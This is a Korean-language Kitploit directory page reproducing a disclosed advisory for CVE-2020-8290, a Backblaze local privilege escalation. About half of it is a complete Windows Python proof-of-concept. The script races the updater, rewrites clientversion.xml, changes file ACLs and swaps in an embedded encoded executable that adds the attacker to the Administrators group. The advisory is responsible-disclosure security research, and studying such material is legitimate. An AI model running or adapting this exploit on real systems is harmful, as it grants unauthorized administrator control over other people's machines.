Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2020-8290 — CVE-2020-8290 – Backblaze에서의 권한 상승 | Kitploit
도구/GitHubGitHub/geffner/cve-2020-8290
Privilege EscalationVulnerability AnalysisExploitationPenetration Testing
GitHubgeffner/cve-2020-8290

CVE-2020-8290

CVE-2020-8290 – Backblaze에서의 권한 상승

저장소 보기
5년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2020-8290 – Backblaze 권한 상승

요약

이름: Backblaze 권한 상승
CVE: CVE-2020-8290
발견자: Jason Geffner
공급업체: Backblaze
제품: Backblaze for Windows 및 Backblaze for macOS
위험도: 높음
발견일: 2020-03-13
공개일: 2020-09-09
수정 버전: 7.0.0.439

소개

위키피디아에 따르면, Backblaze는

"Windows 및 macOS 사용자가 데이터를 오프사이트 데이터 센터에 백업할 수 있는 온라인 백업 도구입니다. 이 서비스는 비즈니스 및 최종 사용자를 위해 설계되었으며, 무제한 저장 공간을 제공하고 무제한 파일 크기를 지원합니다."

취약한 버전의 Backblaze for Windows 및 Backblaze for macOS에는 로컬 비권한 공격자가 SYSTEM/root가 되도록 권한 상승(EOP) 공격을 수행할 수 있는 높은 위험도의 취약점이 포함되어 있습니다.

취약점

Backblaze 클라이언트의 서비스 프로세스인 bzserv는 Windows에서는 SYSTEM으로, macOS에서는 root로 실행됩니다. 몇 시간마다 bzserv는 bztransmit라는 프로그램(SYSTEM/root로 실행됨)을 실행하여 Backblaze 데이터 센터에서 clientversion.xml이라는 XML 파일을 다운로드하여 최신 버전의 Backblaze 클라이언트를 사용할 수 있는지 확인하고, 가능한 경우 최신 클라이언트 버전의 설치 프로그램을 Backblaze 데이터 센터에서 다운로드합니다. 다운로드된 설치 프로그램은 Windows의 %ProgramData%\Backblaze\bzdata\bzupdates 디렉터리와 macOS의 /Library/Backblaze.bzpkg/bzdata/bzupdates 또는 /Library/Backblaze/bzdata/bzupdates 디렉터리에 저장됩니다. 다운로드가 완료되면 bztransmit는 다운로드된 설치 프로그램을 Windows에서는 ShellExecute()를 통해 SYSTEM으로, macOS에서는 system()을 통해 root로 실행합니다.

Windows에서 %ProgramData%\Backblaze\bzdata 디렉터리는 설치 시 로컬 비권한 사용자가 읽기 및 쓰기 권한을 갖도록 생성됩니다. bztransmit 프로세스는 SYSTEM으로 실행되는 동안 bzupdates 하위 디렉터리를 생성하며, 생성된 후에는 비권한 사용자가 이 하위 디렉터리에 대한 읽기 또는 쓰기 권한을 갖지 않습니다. 그러나 bztransmit 프로세스는 bzupdates 디렉터리가 이미 존재하는 경우 해당 ACL을 안전하게 확인하지 않으며, 디렉터리가 이미 존재하는 경우 ACL을 안전하게 업데이트하지도 않습니다. 따라서 로컬 비권한 공격자는 Backblaze 설치 전에 %ProgramData%\Backblaze\bzdata\bzupdates 디렉터리를 생성하거나, Backblaze 설치 후 bztransmit가 bzupdates 하위 디렉터리를 생성하기 전에 %ProgramData%\Backblaze\bzdata 아래에 bzupdates 하위 디렉터리를 생성할 수 있습니다. 이를 통해 공격자는 bzupdates 디렉터리의 소유자가 되어 해당 디렉터리의 파일을 완전히 제어할 수 있습니다. 따라서 공격자는 다운로드된 업데이트 실행 파일이 다운로드된 후 실행되기 전에 수정하거나 교체할 수 있으며, 이로 인해 로컬 EOP가 가능해집니다.

macOS에서 /Library/Backblaze.bzpkg/bzdata(또는 /Library/Backblaze/bzdata) 디렉터리는 설치 시 권한 0777(drwxrwxrwx)로 생성되어 로컬 비권한 사용자가 읽기 및 쓰기 권한을 갖습니다. bztransmit 프로세스는 root로 실행되는 동안 bzupdates 하위 디렉터리를 권한 0755(drwxr-xr-x)로 생성하며, 생성된 후에는 비권한 사용자가 이 하위 디렉터리에 대한 읽기 또는 쓰기 권한을 갖지 않습니다. 그러나 bztransmit 프로세스는 bzupdates 디렉터리가 이미 존재하는 경우 해당 권한을 안전하게 확인하지 않으며, 디렉터리가 이미 존재하는 경우 권한을 안전하게 업데이트하지도 않습니다. 따라서 로컬 비권한 공격자는 Backblaze 설치 후 bztransmit가 bzupdates 하위 디렉터리를 생성하기 전에 /Library/Backblaze.bzpkg/bzdata(또는 /Library/Backblaze/bzdata) 아래에 하위 디렉터리를 생성할 수 있습니다. 이를 통해 공격자는 디렉터리의 소유자가 되어 해당 디렉터리의 파일을 완전히 제어할 수 있습니다. 따라서 공격자는 다운로드된 업데이트 실행 파일이 다운로드된 후 실행되기 전에 수정하거나 교체할 수 있으며, 이로 인해 로컬 EOP가 가능해집니다.

개념 증명

비디오: https://youtu.be/OpC6neWd2aM

위 비디오는 동일한 VM에 대한 두 개의 동시 로그인을 보여줍니다. 왼쪽은 관리자 세션, 오른쪽은 비권한 공격자 세션입니다. 비디오에서 다음 단계를 확인할 수 있습니다:

  1. Attacker가 net localgroup Administrators를 실행하여 비권한 공격자 계정(Attacker라는 이름)이 Administrators 그룹의 구성원이 아님을 표시합니다.
  2. 공격자가 python eop.py(소스 코드는 아래에 있음)를 실행합니다.
  3. 그런 다음 관리자가 Backblaze를 설치합니다.
  4. 6분 후, 설치된 Backblaze 서비스가 clientversion.xml을 다운로드하고, 공격 코드가 이를 덮어씁니다.
  5. 1분 후, 설치된 Backblaze 서비스가 업데이터 실행 파일을 다운로드하고, 공격 코드가 이를 덮어씁니다.
  6. 그러면 Backblaze 서비스가 덮어쓰여진 업데이터를 실행하여 Attacker 계정을 Administrators 그룹에 추가합니다.
  7. 그런 다음 공격자가 다시 net localgroup Administrators를 실행하여 Attacker 계정이 실제로 Administrators 그룹에 추가되었음을 표시합니다. 로컬 권한 상승이 완료됩니다.
root@kitploit:~
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

"""Proof-of-concept exploit for CVE-2020-8290 for Windows."""


__author__ = "[email protected] (Jason Geffner)"
__version__ = "1.0"


import base64
import bz2
import ctypes
import os
import platform
import re
import subprocess
import time


def wait_for_filesystem_object(file_path):
    if os.path.exists(file_path):
        return
    parent_directory = os.path.dirname(file_path)
    if not os.path.exists(parent_directory):
        wait_for_filesystem_object(parent_directory)
    buffer = ctypes.create_string_buffer(1024)
    bytes_returned = ctypes.c_ulong()
    if "." in os.path.basename(file_path):
        notify_filter = 8
    else:
        notify_filter = 2
    h = ctypes.windll.kernel32.CreateFileW(parent_directory, 1, 3, None, 3,
                                           0x02000000, None)
    while not os.path.exists(file_path):
        ctypes.windll.kernel32.ReadDirectoryChangesW(
            h, ctypes.byref(buffer), 1024, False, notify_filter,
            ctypes.byref(bytes_returned), None, None)
    ctypes.windll.kernel32.CloseHandle(h)


def get_exe_content():
    #
    # Returns the content of an EXE that will add the attacker to the
    # Administrators group. Based on
    # https://github.com/corkami/pocs/blob/master/PE/tiny.asm
    #
    exe_content = bz2.decompress(base64.b85decode(
        "LRx4!F+o`-Q&~Gdx1Rt2IDf_b?h*hH0T=+r20)M=eGothKnwr?AOHZM0CF*qXfk9P8W?" +
        "~Xpp?}o=_Zd;AT%0gp!EiU7eYM!=ig9Ls6k|2Zp2X7u2P_M#mS9GBAA+UVO{FjHAvEri" +
        "p0bod_MlBT`kDlS6O$(^CD~4Z=KV8QJRn3`8m~{QUE*R2n)F)oG3^gpWDxX"))
    exe_content += ("NET LOCALGROUP Administrators " +
                    f"{os.environ['USERDOMAIN']}\\" +
                    f"{os.environ['USERNAME']} /ADD").encode()
    return exe_content


def am_i_admin():
    bufptr = ctypes.c_void_p()
    ctypes.windll.netapi32.NetUserGetInfo(
        os.environ["USERDOMAIN"], os.environ["USERNAME"], 1,
        ctypes.byref(bufptr))
    if platform.architecture()[0] == "32bit":
        usri1_priv = ctypes.string_at(bufptr, 13)[-1]
    else:
        usri1_priv = ctypes.string_at(bufptr, 21)[-1]
    ctypes.windll.netapi32.NetApiBufferFree(bufptr)
    return usri1_priv == 2


def poc():
    print(f"Running as user: {os.environ['USERNAME']}")

    # Ensure that we're running as an unprivileged user.
    print("Testing for administrative privileges...")
    if am_i_admin():
        print("You're already an administrator. Bye!")
        return
    print("You're a non-administrative user.")

    # Raise our process's priority to try to win our race condition.
    pid = ctypes.windll.kernel32.GetCurrentProcessId()
    h = ctypes.windll.kernel32.OpenProcess(0x200, False, pid)
    ctypes.windll.kernel32.SetPriorityClass(h, 0x100)
    ctypes.windll.kernel32.CloseHandle(h)

    # Create the bzupdates directory so that we are the owner of it.
    bzupdates = f"{os.environ['ProgramData']}\\Backblaze\\bzdata\\bzupdates"
    if os.path.exists(bzupdates):
        print("Backblaze's bzupdates directory was already created. You're " +
              "too late!")
        return
    os.makedirs(bzupdates)

    #
    # Get the installed hguid value so that we can force an update via
    # clientversion.xml.
    #
    if platform.architecture()[0] == "32bit":
        bzinstall = f"{os.environ['ProgramFiles']}\\Backblaze\\bzinstall.xml"
    else:
        bzinstall = f"{os.environ['ProgramFiles(x86)']}" +\
                    "\\Backblaze\\bzinstall.xml"
    if not os.path.exists(bzinstall):
        print("Waiting for Backblaze's installer to assign an hguid value.")
        wait_for_filesystem_object(bzinstall)
        print("Backblaze assigned an hguid value.")
    with open(bzinstall) as f:
        xml = f.read()
    hguid = re.search('hguid="([^"]+)"', xml).group(1)

    # Force update via clientversion.xml.
    if not os.path.exists(f"{bzupdates}\\clientversion.xml"):
        print("Waiting for Backblaze to download clientversion.xml.")
        wait_for_filesystem_object(f"{bzupdates}\\clientversion.xml")
        print("clientversion.xml now downloaded.")
    with open(f"{bzupdates}\\clientversion.xml", "r+") as f:
        xml = f.read()
        xml = re.sub('update_hguids_firstchar=".',
                     f'update_hguids_firstchar="{hguid[0]}', xml)
        xml = xml.replace('win32_version="', 'win32_version="1')
        f.truncate(0)
        f.seek(0)
        f.write(xml)
    print("clientversion.xml modified to force update next time Backblaze " +
          "considers updating.")

    # Don't allow SYSTEM to overwrite clientversion.xml.
    subprocess.run(["icacls.exe", f"{bzupdates}\\clientversion.xml",
                    "/setowner", f"{os.environ['USERNAME']}"])
    print()
    subprocess.run(f'echo y| cacls.exe "{bzupdates}\\clientversion.xml" ' +
                   '/S:D:PAI(A;;FA;;;OW)(A;;GRGX;;;SY)', shell=True)
    print()

    #
    # Create an executable to replace the downloaded update, which will elevate
    # our privileges.
    #
    exe_content = get_exe_content()
    with open(f"{bzupdates}\\eop.exe", "wb") as f:
        f.write(exe_content)

    #
    # Wait for update to download and overwrite it with attacker's executable.
    # In this PoC we use iexpress.exe (built into Windows) to create an EXE that
    # adds the attacker to the Administrators group, but an attacker could
    # supply any executable content they like.
    #
    exe = re.search('win32_url=.+?file=([^"]+)"', xml).group(1)
    print(f"Waiting for Backblaze to download {exe}.")
    wait_for_filesystem_object(f"{bzupdates}\\{exe}")
    os.replace(f"{bzupdates}\\eop.exe", f"{bzupdates}\\{exe}")
    print(f"{exe} downloaded and replaced.")
    print(f"{exe} should now get executed as SYSTEM.")

    for i in range(5):
        if am_i_admin():
            print("Success! You're now an administrator!")
            return
        time.sleep(1)
    print("Exploit failed. We probably lost the race-condition when " +
          f"overwriting {exe}.")


if __name__ == "__main__":
    poc()

완화 조치

Backblaze는 Backblaze 버전 7.0.0.439에서 이 취약점을 패치했습니다.

발견자

이 취약점은 Jason Geffner가 HackerOne을 통해 Backblaze에 발견 및 신고했습니다.

타임라인

2020-03-13 - 취약점 발견 및 HackerOne을 통해 Backblaze에 신고
2020-03-26 - HackerOne 취약점 확인
2020-04-22 - CVE-2020-8152 할당
2020-04-22 - 빌드 7.0.0.439 릴리스
2020-04-22 - 취약점 완화 조치 확인
2020-04-23 - 공개 공개 요청
2020-09-09 - 공개 공개
2020-12-22 - CVE 할당이 CVE-2020-8290으로 변경됨

도구 다운로드
bzupdates
bzupdates